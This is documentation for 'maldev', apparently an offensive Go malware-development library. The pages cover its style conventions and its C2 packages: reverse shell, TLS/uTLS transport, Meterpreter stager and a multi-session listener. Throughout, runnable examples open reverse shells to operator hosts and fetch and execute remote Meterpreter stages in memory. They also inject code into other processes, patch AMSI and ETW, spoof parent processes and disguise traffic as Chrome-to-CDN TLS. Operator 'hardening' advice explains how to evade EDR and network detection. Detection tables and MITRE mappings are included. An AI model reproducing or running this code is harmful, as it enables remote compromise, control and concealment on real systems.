Collapsibles<details><summary>…</summary>…</details>Long stack traces, build outputs, verbose code. Default-collapsed for material > 20 lines.
Footnotes[^id] + [^id]: …Citing CVEs, papers, original blog posts.
Task lists- [x] done / - [ ] todoSetup checklists, coverage matrices, step trackers.
Diff blocks```diffShowing a patch (e.g., AMSI bytes before/after).
Permalink to code lineshttps://github.com/.../blob/<sha>/file#L42-L60Cross-references from godoc → exact source range. Use SHA, never branch.
Math (LaTeX)$…$ inline, $$…$$ blockCrypto algorithms, RC4 init, TEA round equations, hash math.
Tables w/ alignment:---|:---:|---:Comparison matrices, MITRE tables, capability matrices.
Mermaid```mermaidAll sequence/flow/state/class/mindmap diagrams.
Auto-linked refs#1234, @user, full SHAsLinking back to issues, mentions, commits.
Headings 1–6#######H1 once per page; H2 for sections; H3 for sub-sections. Don't skip levels.

Conditional / niche

FeatureSyntaxWhen
Subscript / Superscript<sub>2</sub>, <sup>2</sup>Math indices, version annotations (Win11<sub>24H2</sub>).
Underline<ins>text</ins>Rare. Prefer bold for emphasis.
Color swatches`#RRGGBB`, `rgb(r,g,b)`Inline colour visualisation. Could illustrate byte-pattern signatures.
Picture element (theme-aware)<picture><source media="(prefers-color-scheme: dark)" …>Diagrams with light + dark variants.
Strikethrough~~deprecated~~Marking removed APIs in CHANGELOG.
Emoji shortcodes:rocket:Sparingly; never in API references.
HTML comments<!-- … -->TOC markers, <!-- BEGIN AUTOGEN --> / <!-- END AUTOGEN --> boundaries.
Line break inside paragraphtrailing (2 spaces), \, or <br>Sparingly; usually a paragraph break is correct.
File attachments (drag-drop)(UI)Issue/PR comments only — uploads to user-attachments CDN. Not for repo docs (use assets/ directory).

GitHub-platform features (commit messages & PRs only)

These are not for docs in /docs, but they're part of the project's authoring conventions and listed here so contributors know to use them.

FeatureSyntaxWhen
Closing keywordsCloses #123, Fixes #456, Resolves #789 (also close, fix, resolve, closed, fixed, resolved) in commit/PR bodyAuto-closes the linked issue when the PR merges to default branch. Always use lowercase form for consistency.
Cross-repo refsorg/repo#123Linking issues/PRs across repositories.
Commit-SHA refsfull or 7-char SHA in commit/PR bodyAuto-links to the commit. Always paste full SHA in committed prose; GitHub auto-shortens display.
Mention shortcuts@user and @org/teamNotify a person or team in a PR/issue/discussion.
Suggestion blocks```suggestionIn PR review comments only. Reviewer proposes a fix; author can apply with one click.
Reactions(UI shortcut)Emoji-react instead of "+1" comments.

Not used in this project

FeatureReason
GeoJSON / TopoJSON mapsNo geographic data.
STL 3D modelsNot relevant.
Raw HTML beyond <sub>/<sup>/<ins>/<details>/<summary>/<picture>/<br>/<!-- -->Sanitisation strips most other tags; keeps surfaces consistent.

Banned: images of code (always use code blocks); free-form **Note:** prefixed paragraphs (use Alerts); raw <script>, <iframe>, <style> (stripped by GitHub anyway).

README structure (root)

Length budget: ≤ 250 lines.

  1. # maldev + 1-line tagline.
  2. Badges (Go version, license, MITRE technique count, test coverage).
  3. ## What is this? — ≤10 lines pitch covering audience, scope, and what makes it different.
  4. ## Install — ≤5 lines.
  5. ## Quick start — ≤30 lines, minimal runnable example.
  6. ## Where to start — explicit role-based and topical entry points:
    - **Operator** → [docs/by-role/operator.md](...)
    - **Researcher** → [docs/by-role/researcher.md](...)
    - **Detection engineer** → [docs/by-role/detection-eng.md](...)
    
    Or browse:
    - **By technique area** → [docs/index.md](...)
    - **By MITRE ATT&CK ID** → [docs/mitre.md](...)
    - **API reference** → pkg.go.dev/github.com/oioio-space/maldev
    
  7. ## Package map — ≤30 lines, 2-column tree (category → 5 packages max with one-liner). Detailed flat list lives in docs/index.md.
  8. ## Build — ≤10 lines.
  9. ## Acknowledgments, ## License.

docs/index.md (navigation spine)

Required sections:

  1. By role — pointer to the 3 role pages.
  2. By technique area — 11 areas, each linking to docs/techniques/<area>/README.md.
  3. By MITRE ATT&CK ID — reverse-index, auto-generated.
  4. By package — flat alphabetical table of all public packages, auto-generated.

Auto-generation

cmd/docgen/main.go (to be added) walks go list ./..., parses doc.go for the structured fields (MITRE T-IDs, Detection level, summary), and regenerates:

  • README.md — Package map table.
  • docs/index.md — "By package" + "By MITRE ATT&CK ID" sections.
  • docs/mitre.md — full MITRE table.

Pre-commit hook runs cmd/docgen and fails the commit on diff. CI re-checks. Tables are read-only handcraft-wise — edit the source doc.go, regenerate.

Narrative content (per-technique markdown, role pages, README intro, guides under docs/*.md) stays manual.

Versioning (YAML front-matter)

Every docs/**.md page starts with:

---
package: github.com/oioio-space/maldev/<area>/<pkg>
last_reviewed: 2026-04-27
reflects_commit: <short-sha>
---

last_reviewed is bumped by a pre-commit hook whenever the matching *.go files change. reflects_commit is the SHA at the time of last review. A six-month sweep flags pages with last_reviewed > 180 days ago.

README.md and docs/index.md use the same front-matter (package: is omitted for these multi-package documents).

Voice and style

  • Voice: active English. "The implant calls X. The library returns Y." Avoid "you/we/our".
  • Tense: present tense for current behavior ("The patch returns 3 bytes"). Past tense for narrating runs/incidents ("The test failed on Win11 24H2 build 26100").
  • Person: prefer named entity ("the operator", "the implant") over pronouns. Acceptable third-person impersonal ("the function").
  • Code references: backticks for funcName, varName, Pkg.Func. Italics for concepts, bold for key concepts (sparingly, ≤2 per paragraph).
  • Numbers: Arabic 1–9 inline; words for ten+ in prose ("four packages"); Arabic always for technical counts ("180 packages", "T1003.001").
  • Acronyms: spell out first occurrence per page. LSASS (Local Security Authority Subsystem Service) then plain LSASS thereafter.
  • Cross-references: link first mention of every package to its godoc. Subsequent mentions plain package.
  • External resources: prefer permanent links (web.archive.org, paper DOIs, immutable GitHub blob URLs with SHA).

Migration order

Top-down, demonstrator-first, then sweep:

  1. New root README.md + docs/index.md + 3 docs/by-role/*.md pages. Land first to give immediate readability impact.
  2. One demonstrator technique area — completely refactored with the new template, all packages have example_test.go. Acts as the reference for subsequent areas. Suggested: cleanup/* (small, well-bounded, mix of simple and complex).
  3. cmd/docgen + pre-commit hook + CI gh-pages workflow. Once these exist, the autogen tables are live for any new doc.
  4. Remaining technique areas, one PR per area: c2, crypto+encode+hash, evasion, collection, credentials, inject, pe, persistence, process, recon, runtime, win.
  5. docs/architecture.md, docs/getting-started.md, docs/mitre.md (regenerated), docs/coverage-workflow.md (revised), docs/testing.md (revised).
  6. Final pass: cross-link audit, breadcrumb uniformity, dead-link sweep.

Pre-commit checks (mandatory)

The pre-commit-checks skill is extended to include:

  1. cmd/docgen --check — autogen tables are up to date.
  2. Markdown link checker (e.g., lychee or markdown-link-check) — no dead links.
  3. doc.go linter — every public package has a doc.go matching the template (MITRE section + Detection level + Example reference).
  4. last_reviewed bump — front-matter is updated when the corresponding *.go files change.
  5. Per-tier example presence — every public package has at least Example<Func> in <name>_example_test.go.

CI re-runs these checks on every PR.

Rules of engagement

  • Never write a documentation file from memory of how things "used to be". Always grep the source first.
  • Never edit a generated table by hand. Edit the source doc.go or the generator.
  • Always add the role-page link "See also" entry when creating or editing a technique page.
  • Always add an example_test.go when adding a new public package. No exceptions.
  • Always front-matter every new docs/**.md file.
  • When in doubt about Mermaid vs prose: try Mermaid; if it's > 25 nodes, split or fall back to prose with a screenshot.

C2 techniques

← maldev README · docs/index

The c2/* package tree is the implant's outbound communication layer plus the operator's listener side. Six sub-packages compose into a complete reverse-shell / staging / multi-session stack:

flowchart LR
    subgraph implant [Implant side]
        S[c2/shell<br>reverse shell]
        M[c2/meterpreter<br>MSF stager]
    end
    subgraph wire [Wire]
        T[c2/transport<br>TCP / TLS / uTLS]
        NP[c2/transport/namedpipe<br>SMB pipes]
        Cert[c2/cert<br>mTLS certs + pinning]
        T -.uses.-> Cert
    end
    subgraph operator [Operator side]
        MC[c2/multicat<br>multi-session listener]
    end
    S --> T
    S --> NP
    M --> T
    T --> MC
    NP --> MC

Packages

PackageTech pageDetectionOne-liner
c2/shellreverse-shell.mdnoisyreverse shell with PTY + auto-reconnect + AMSI/ETW evasion hooks
c2/meterpretermeterpreter.mdnoisyMSF stager (TCP / HTTP / HTTPS) with optional inject.Injector for stage delivery
c2/transporttransport.md · malleable-profiles.mdmoderatepluggable TCP / TLS / uTLS + malleable HTTP profiles
c2/transport/namedpipenamedpipe.mdquietWindows named-pipe transport (local IPC + SMB lateral)
c2/certtransport.mdquietself-signed X.509 generation + SHA-256 fingerprint pinning
c2/multicatmulticat.mdquietoperator-side multi-session listener (BANNER protocol)

Quick decision tree

You want to…Use
…land a reverse shell that survives dropsc2/shell.New + c2/transport
…blend C2 with browser TLS fingerprintsc2/transport uTLS profile (Chrome / Firefox / iOS Safari)
…pin the operator certificate against TLS-MITMc2/cert.Fingerprint + transport PinSHA256
…carry C2 over local IPC / SMB lateralc2/transport/namedpipe
…stage a Meterpreter session with inject middlewarec2/meterpreter + Config.Injector
…disguise HTTP traffic as jQuery CDN fetchesmalleable-profiles.md
…host many simultaneous reverse-shell agentsc2/multicat on the operator box

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1071Application Layer Protocolc2/transport (HTTP/TLS), c2/transport/namedpipeD3-NTA
T1071.001Web Protocolsc2/transport (malleable), c2/meterpreter (HTTP/HTTPS)D3-NTA
T1573Encrypted Channelc2/transport (TLS)D3-NTA
T1573.002Asymmetric Cryptographyc2/cert (mTLS)D3-NTA
T1095Non-Application Layer Protocolc2/transport (raw TCP)D3-NTA
T1059Command and Scripting Interpreterc2/shellD3-PSA
T1571Non-Standard Portc2/multicatD3-NTA
T1021.002SMB/Admin Sharesc2/transport/namedpipe (cross-host)D3-NTA

See also

Reverse shell

← c2 index · docs/index

TL;DR

Implant calls home over any c2/transport and pipes a local interpreter (cmd.exe or /bin/sh) over the connection. The loop reconnects on drop with configurable retry count and back-off delay. Unix path allocates a PTY for full interactive use; Windows path uses direct cmd.exe I/O and optionally patches AMSI / ETW / CLM / WLDP + disables PowerShell history before the shell starts.

Primer

Network firewalls typically allow outbound connections and block inbound ones, so a "reverse" shell calls out from the target to the operator. The operator runs a listener; the implant runs a short program that opens an outbound socket, fork-execs a local interpreter, and wires the interpreter's stdio to the socket.

Two common failure modes need explicit handling. Connections drop — the package wraps the connect / pipe loop in an automatic reconnect loop with configurable retry count and delay. Interpreter behaviour on Windows differs from Unix — Unix needs a PTY for vim / top / job control to work; Windows needs no PTY but does need careful stdio handling. The package abstracts both differences behind a single Shell type.

The Windows code path also exposes optional defence-patching: AMSI disable (so PowerShell stages survive scanning), ETW patching (so provider-based EDRs go quiet), CLM bypass (Constrained Language Mode restrictions disabled), WLDP patching (Windows Lockdown Policy relaxed), and PowerShell history disable (so Get-History post-mortem returns nothing).

How it works

stateDiagram-v2
    [*] --> Idle
    Idle --> Connecting : Start(ctx)
    Connecting --> Running : Connect OK
    Connecting --> Backoff : Connect fail
    Backoff --> Connecting : delay elapsed
    Running --> Backoff : transport drop
    Running --> Stopping : Stop()
    Backoff --> Stopping : Stop()
    Stopping --> [*] : Wait()

The Shell runs a strict state machine — Start is rejected on a running shell; Stop is rejected on an idle one. Transitions are mutex-guarded.

sequenceDiagram
    participant Op as "Operator listener"
    participant Imp as "Implant"
    participant Sh as "Local interpreter"

    loop until Stop or max retries
        Imp->>Op: transport.Connect()
        alt success
            Imp->>Sh: spawn cmd.exe / /bin/sh (PTY on Unix)
            Sh-->>Imp: stdio
            par implant→operator
                Imp->>Op: copy(stdin → socket)
            and operator→implant
                Op->>Imp: copy(socket → stdout)
            end
            Note over Imp: socket dropped<br>or Stop()
            Imp->>Sh: kill child
        else fail
            Imp->>Imp: backoff(delay)
        end
    end

API Reference

shell.New(trans transport.Transport, cfg *Config) *Shell

godoc

Construct a Shell over the supplied transport. cfg == nil selects DefaultConfig().

shell.DefaultConfig() *Config

godoc

Defaults: 5 reconnect attempts, 3 s back-off, no defence patching, PTY enabled on Unix.

(*Shell).Start(ctx context.Context) error

godoc

Run the connect / pipe / reconnect loop. Returns when ctx is cancelled, Stop is called, or MaxRetries is exceeded.

(*Shell).Stop() error

godoc

Request graceful shutdown. Pair with Wait to block until the loop exits.

(*Shell).Wait()

godoc

Block until Start returns.

(*Shell).IsRunning() bool / (*Shell).CurrentPhase() Phase

godoc

State inspection helpers.

shell.PatchDefenses() error (Windows)

godoc

Apply the AMSI / ETW / CLM / WLDP / PS history patches in one call. Idempotent. Use before Start so the spawned cmd.exe / powershell.exe inherits the patched ntdll.

shell.NewPPIDSpoofer() / (*PPIDSpoofer).SysProcAttr() (Windows)

godoc

Build a *syscall.SysProcAttr whose ParentProcess field points at a chosen target (default: explorer.exe, services.exe, RuntimeBroker.exe). Apply on the exec.Cmd the shell spawns to make process-tree telemetry show the spoofed parent.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

Composed (TLS + cert pin)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

const operatorPin = "AB:CD:..." // SHA-256

tr := transport.NewTLS("operator.example:8443", 10*time.Second, "", "",
    transport.WithTLSPin(operatorPin))
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

Advanced (defence patching + PPID spoof + uTLS)

import (
    "context"
    "os/exec"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

_ = shell.PatchDefenses()

spoof := shell.NewPPIDSpoofer()
if err := spoof.FindTargetProcess(); err == nil {
    // The spoofer publishes a SysProcAttr the shell layer applies
    // to the spawned cmd.exe.
    _ = spoof
}

tr := transport.NewUTLS("operator.example:443", 10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint("AB:CD:..."))

cfg := shell.DefaultConfig()
cfg.MaxRetries = 100
cfg.RetryDelay = 30 * time.Second

sh := shell.New(tr, cfg)
_ = sh.Start(context.Background())
sh.Wait()
_ = exec.Command // silence unused import in extracted snippet

Complex (full chain — evade + spoof + uTLS + reconnect forever)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

_ = evasion.ApplyAll(preset.Stealth(), nil) // AMSI/ETW/CLM/WLDP/...
_ = shell.PatchDefenses()                   // belt + braces

tr := transport.NewUTLS("operator.example:443", 10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint("AB:CD:..."))

cfg := shell.DefaultConfig()
cfg.MaxRetries = 0 // 0 = unlimited
cfg.RetryDelay = 60 * time.Second

sh := shell.New(tr, cfg)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
_ = sh.Start(ctx)
sh.Wait()

See ExampleNew in shell_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
Outbound TCP from a non-network processSysmon Event 3, EDR egress hooks
cmd.exe / powershell.exe child of an unusual parentSysmon Event 1 — pair with PPIDSpoofer to reshape
AMSI / ETW patch bytes in ntdll/amsi.dllMemory scanners (Defender, MDE Live Response)
Beacon timing patternsBehavioural NIDS — randomise RetryDelay jitter
Long-lived cmd.exe with redirected stdioProcess-explorer anomaly

D3FEND counters:

  • D3-OCA — outbound-connection profiling.
  • D3-PSAcmd.exe parentage and command-line analysis.
  • D3-NTA — TLS handshake + content metadata.

Hardening for the operator: prefer uTLS over plain TLS; pair PatchDefenses and PPID spoofing; randomise RetryDelay with random.Duration; fold the shell into a longer-lived host process that legitimately spawns command interpreters (maintenance scripts, build agents).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1059Command and Scripting Interpreterreverse-shell harnessD3-PSA
T1059.001PowerShellwhen child is powershell.exeD3-PSA
T1059.003Windows Command Shellwhen child is cmd.exeD3-PSA
T1059.004Unix ShellUnix code pathD3-PSA

Limitations

  • Reverse shells are inherently noisy. No amount of jitter defeats a determined defender with full network visibility. Use uTLS + malleable profiles and accept that the shell is a short-lifetime tool.
  • PatchDefenses is best-effort. AMSI/ETW patches survive within the current process only. Spawned children inherit patched ntdll; re-spawned shells from a different host process do not.
  • PTY only on Unix. Windows lacks a true PTY — interactive applications (vim, full-screen TUIs) misbehave.
  • PPID spoof requires admin or specific process ACLs. Some targets refuse cross-session parent pinning even from elevated processes.

See also

Transport (TCP / TLS / uTLS)

← c2 index · docs/index

TL;DR

Pluggable network layer behind every reverse shell or stager. Three flavours: raw TCP, TLS with optional SHA-256 fingerprint pinning, and uTLS that emits a TLS ClientHello byte-for-byte identical to Chrome / Firefox / iOS Safari (defeats JA3/JA4-based detection). Pair with c2/cert to generate the operator's mTLS material and pin it on the implant side.

Primer

Network-layer detection of C2 splits into two camps. The first reads bytes — payload signatures, cleartext shell prompts, beacon intervals. TLS defeats this layer for any well-behaved configuration. The second reads metadata — TLS handshake fingerprints (JA3/JA4), certificate properties, SNI patterns, ALPN choices. Go's stdlib TLS emits a fingerprint that is unmistakably "Go program, not a browser", and a self-signed cert without a chain to a public CA is its own flag.

This package addresses both. The TLS transport handles encryption plus optional certificate pinning — the implant refuses to talk to anyone whose certificate hash does not match a hard-coded value, so any TLS-inspection middlebox that re-signs traffic with a corporate CA is dropped. The UTLS transport replaces Go's TLS handshake with refraction-networking/utls, which mimics real browser ClientHello bytes — the network monitor sees "Chrome 124 connecting to a CDN", not "Go program with a Go-fingerprint ClientHello".

How it works

flowchart TD
    Pick{Config.UseTLS / UseUTLS} -->|raw| TCP[TCP transport]
    Pick -->|TLS| TLS[TLS transport<br>+ optional cert pin]
    Pick -->|uTLS| UT[uTLS transport<br>JA3 profile pinned]
    TCP --> Wire((wire))
    TLS --> Wire
    UT --> Wire
    Wire -->|defenders see| NetMon[network monitor<br>DPI + JA3 + cert]

All transports implement the same five-method Transport interface:

type Transport interface {
    Connect(ctx context.Context) error
    Read(p []byte) (int, error)
    Write(p []byte) (int, error)
    Close() error
    RemoteAddr() net.Addr
}

The Listener interface is the operator-side counterpart, used by c2/multicat to accept agents.

TLS fingerprint pinning

sequenceDiagram
    participant Imp as "Implant"
    participant MITM as "TLS-inspection proxy"
    participant Op as "Operator handler"

    Imp->>MITM: ClientHello
    MITM->>Op: ClientHello (re-originated)
    Op-->>MITM: ServerHello + cert (operator)
    MITM-->>Imp: ServerHello + cert (proxy CA-signed)
    Imp->>Imp: verifyFingerprint(cert) → mismatch
    Imp->>MITM: TLS abort

Config.PinSHA256 (or WithUTLSFingerprint(...) for the uTLS variant) holds the operator's certificate hash. The implant rejects any certificate whose hash does not match — even if the corporate TLS-inspection CA is in the system trust store.

API Reference

transport.Transport

godoc

The five-method interface every transport implements.

transport.New(cfg *Config) (Transport, error)

godoc

Factory. Picks TCP or TLS based on Config.UseTLS. uTLS and malleable variants have dedicated constructors.

transport.NewTCP(address string, timeout time.Duration) *TCP

godoc

Raw TCP transport with Connect dial timeout.

transport.NewTLS(address, timeout, certPath, keyPath string, opts ...TLSOption) *TLS

godoc

TLS over TCP. Optional TLSOptions set client cert, skip-verify, and SHA-256 server-cert pin.

transport.NewUTLS(address string, timeout time.Duration, opts ...UTLSOption) *UTLS

godoc

uTLS over TCP. Combines a JA3 profile, an SNI, and an optional pin.

transport.JA3Profile and WithJA3Profile

godoc

Enum picking which browser to mimic (HelloChrome_Auto, HelloFirefox_Auto, HelloIOS_Auto, HelloRandomized).

transport.NewTCPListener(addr string) (Listener, error)

godoc

Operator-side listener factory. Pair with c2/multicat.

cert.Generate(cfg *Config, certPath, keyPath string) error

godoc

Generate a self-signed certificate + RSA private key in PEM at the given paths.

cert.Fingerprint(certPath string) (string, error)

godoc

Compute SHA-256 hex digest of the leaf certificate. Hard-code the output into the implant's PinSHA256.

Examples

Simple

Plain TCP for a localhost or already-tunnelled scenario:

tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
if err := tr.Connect(context.Background()); err != nil {
    return err
}
_, _ = tr.Write([]byte("hello"))

Composed (TLS + cert pin)

Operator generates a cert and computes its fingerprint:

import "github.com/oioio-space/maldev/c2/cert"

_ = cert.Generate(cert.DefaultConfig(), "server.crt", "server.key")
fp, _ := cert.Fingerprint("server.crt")
fmt.Println("pin:", fp) // → embed in implant

Implant pins it:

tr := transport.NewTLS(
    "operator.example:8443",
    10*time.Second,
    "", "", // no client cert
    transport.WithTLSPin(fp),
)
_ = tr.Connect(context.Background())

Any TLS-inspection proxy that re-signs the certificate fails the pin check.

Advanced (uTLS with Chrome JA3 + SNI)

tr := transport.NewUTLS(
    "operator.example:443",
    10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint(fp),
)
_ = tr.Connect(context.Background())

Network monitor sees a Chrome TLS handshake to a CDN; the SNI hides the real destination behind a benign-looking name.

Complex (full stack: cert + uTLS + shell + evasion)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

const operatorPin = "AB:CD:..." // SHA-256 hex

_ = evasion.ApplyAll(preset.Stealth(), nil)

tr := transport.NewUTLS(
    "operator.example:443",
    10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint(operatorPin),
)

sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

OPSEC & Detection

ArtefactWhere defenders look
Go-fingerprint TLS ClientHello (JA3)Zeek ssl.log, JA3-aware NIDS — bypass with NewUTLS + WithJA3Profile
Self-signed certificate without trusted chainNetwork DLP / TLS-inspection logs — bypass by signing through a real CA on the operator side, or accepting the self-signed flag and pinning
Unusual SNI / no SNIModern NIDS flag absent or randomised SNIs — set WithSNI to a plausible CDN host
Certificate-pin failure on re-signed trafficThis is the desired outcome on the implant side — but the abrupt connection drop is itself a signal
Beacon timing / response sizesBehavioural NIDS clusters periodic short connections — randomise jitter at the shell layer

D3FEND counters:

  • D3-NTA — JA3 / SNI / cert-property correlation.
  • D3-DNSTA — DNS-resolution patterns ahead of C2 connect.
  • D3-NTPM — egress proxy enforcement.

Hardening for the operator: prefer uTLS over plain TLS; pick an SNI that resolves on the actual CDN and use a matching IP; rotate certificates between campaigns; combine with malleable HTTP profiles for traffic that survives even content inspection.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1071Application Layer ProtocolTLS / uTLS / malleable HTTPD3-NTA
T1573Encrypted ChannelTLS familyD3-NTA
T1573.002Asymmetric CryptographymTLS via c2/certD3-NTA
T1095Non-Application Layer Protocolraw TCPD3-NTA

Limitations

  • Pin must travel with the implant. A hard-coded SHA-256 in the binary is recoverable by static analysis. Prefer build-time injection via //go:embed from a per-campaign cert.
  • uTLS adds binary weight. ~500 KB of crypto + parser code. For shellcode-tier implants, fall back to TLS with pinning.
  • JA3 profiles age. Browser TLS handshakes evolve; refresh the uTLS dependency every few months and verify the chosen profile is still indistinguishable from current Chrome / Firefox.
  • Pin failure is loud. Connection abort with a zero-length read is itself a signal. Expect that the campaign is burned the moment the corporate proxy starts rewriting traffic.

See also

Meterpreter stager

← c2 index · docs/index

TL;DR

Pulls a second-stage Meterpreter payload from a Metasploit multi/handler over TCP / HTTP / HTTPS and executes it in-process. Config.Injector overrides the default self-injection with any inject.Injector — Early Bird APC into a sacrificial child, indirect syscalls, decorator middleware, automatic fallback, the lot. Linux uses an ELF wrapper that requires the live socket fd; setting Injector on Linux is rejected.

Primer

Metasploit's Meterpreter is the canonical post-exploitation toolkit. It is too big to embed (~hundreds of KB), so attacks split it in two: a stager small enough to fit in a shellcode payload or a Go binary, and a stage (the full Meterpreter DLL or ELF) fetched at runtime over the network. The stager opens a connection to the handler, reads the stage as raw bytes, copies it into executable memory, and jumps to the entry point.

Two parts of that flow are worth abstracting. First, the fetch is identical across Meterpreter implementations — connect, read four length bytes, read the stage, hand the buffer to the executor. Second, the execute is the most variable: a real engagement uses the inject package's full surface (Early Bird APC, indirect syscalls, XOR encoding, CPU delay) to defeat host-side telemetry. The package exposes a clean Config.Injector knob so the same stager works across stealth tiers.

The HTTP / HTTPS variants implement Metasploit's URI-checksum format expected by the handler (/<8 random chars> with a checksum byte). HTTPS supports InsecureSkipVerify for self-signed handlers and a configurable timeout.

How it works

sequenceDiagram
    participant Imp as "Implant (Stager)"
    participant H as "MSF multi/handler"

    Imp->>H: connect (TCP / HTTP GET / HTTPS GET)
    H-->>Imp: stage length (4 bytes)
    Imp->>H: read stage
    H-->>Imp: stage bytes (~200 KB DLL or ELF)

    alt Config.Injector set (Windows)
        Imp->>Imp: inj.Inject(stage)
    else default self-injection
        Imp->>Imp: VirtualAlloc(RW) + RtlMoveMemory(stage)
        Imp->>Imp: VirtualProtect(RX) + CreateThread
    end

    Note over Imp: Meterpreter session live on the same TCP / HTTPS connection

API Reference

meterpreter.Transport

godoc

Enum: TCP, HTTP, HTTPS. Selects the wire protocol.

meterpreter.Config

godoc

type Config struct {
    Transport   Transport
    Host        string
    Port        string
    Timeout     time.Duration
    TLSInsecure bool          // HTTPS only
    Injector    inject.Injector // optional, Windows-only
}

meterpreter.NewStager(cfg *Config) *Stager

godoc

Construct a stager from the config.

(*Stager).Stage(ctx context.Context) error

godoc

Fetch and execute the stage. Blocks until the connection closes (or the spawned thread exits, depending on the executor). On Linux, returns an error if cfg.Injector != nil.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/meterpreter"
)

cfg := &meterpreter.Config{
    Transport: meterpreter.TCP,
    Host:      "192.168.1.10",
    Port:      "4444",
    Timeout:   30 * time.Second,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Composed (HTTPS + InsecureSkipVerify)

cfg := &meterpreter.Config{
    Transport:   meterpreter.HTTPS,
    Host:        "operator.example",
    Port:        "8443",
    Timeout:     30 * time.Second,
    TLSInsecure: true,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Advanced (custom injector — Early Bird APC + indirect syscalls + XOR)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/meterpreter"
    "github.com/oioio-space/maldev/inject"
)

inj, _ := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\notepad.exe`).
    IndirectSyscalls().
    WithFallback().
    Use(inject.WithXORKey(0x41)).
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
    Create()

cfg := &meterpreter.Config{
    Transport: meterpreter.TCP,
    Host:      "192.168.1.10",
    Port:      "4444",
    Timeout:   30 * time.Second,
    Injector:  inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Complex (remote inject into existing PID + HTTPS staging)

import "github.com/oioio-space/maldev/inject"

inj, _ := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(1234).
    IndirectSyscalls().
    WithFallback().
    Create()

cfg := &meterpreter.Config{
    Transport:   meterpreter.HTTPS,
    Host:        "operator.example",
    Port:        "8443",
    Timeout:     30 * time.Second,
    TLSInsecure: true,
    Injector:    inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

See ExampleNewStager in meterpreter_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
Meterpreter wire formatSnort / Suricata signatures match all three transport types out of the box
MSF URI checksum pattern (/<8 chars> GET)NIDS hunt rules
Stage in-memory after decryptDefender / MDE memory scan — Meterpreter's reflective DLL has known signatures
CreateThread at a non-image start addressKernel thread-create callback — defeated by switching to MethodEarlyBirdAPC or similar via Config.Injector

D3FEND counters:

  • D3-OCA — outbound-connection profiling.
  • D3-FCR — YARA rules on the unpacked stage.

Hardening for the operator: always set Config.Injector for Windows engagements; combine with c2/transport uTLS + cert pinning; use a payload encryptor (Veil, ScareCrow, or crypto.EncryptAESGCM on a custom stage) so the in-memory bytes do not match Meterpreter's public reflective-DLL signature.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1059Command and Scripting Interpreterpost-stage Meterpreter shellD3-PSA
T1055Process Injectionwhen Config.Injector is setD3-PSA
T1071.001Application Layer Protocol: Web ProtocolsHTTP/HTTPS variantsD3-NTA
T1095Non-Application Layer ProtocolTCP variantD3-NTA

Limitations

  • Linux Injector unsupported. The ELF wrapper protocol needs the live socket fd; Stage returns an error if cfg.Injector != nil on Linux.
  • Public stage signatures. Defender, CrowdStrike, and SentinelOne fingerprint the unmodified Meterpreter reflective DLL. Custom-built stages (or crypto-wrapped stages your handler decrypts) are required against modern AV.
  • Self-injection default is loud. VirtualAlloc + CreateThread is the textbook process-injection chain. Always set Config.Injector against any non-trivial defender.
  • Single connection. No reconnect logic — if the stage download fails, the stager exits. Wrap in a higher-level retry loop or use c2/shell with a custom protocol if reconnect is needed.

See also

Multicat — multi-session listener

← c2 index · docs/index

TL;DR

Operator-side counterpart to c2/shell. One Listener, many concurrent agents. Each inbound connection gets a sequential session ID, optional BANNER-encoded hostname metadata, and a lifecycle event (EventOpened / EventClosed) on the manager's channel. Sessions are in-memory only — they do not survive a manager restart. Never embedded in the implant.

Primer

Engagements with more than one host quickly outgrow a single nc -lvp 4444. Multicat is a thin manager that owns one transport Listener, accepts every incoming agent, assigns a session ID, optionally reads a BANNER:<hostname>\n hello line, and emits a typed event so an operator UI (TUI, web dashboard, anything) can render an arrival / departure stream.

The wire protocol is intentionally tiny: when an agent connects, multicat reads the first line with a 500 ms deadline. If the line matches BANNER:<hostname>\n, it populates SessionMetadata.Hostname. All other bytes are part of the normal shell I/O stream and pass through. Agents that do not implement BANNER are unaffected.

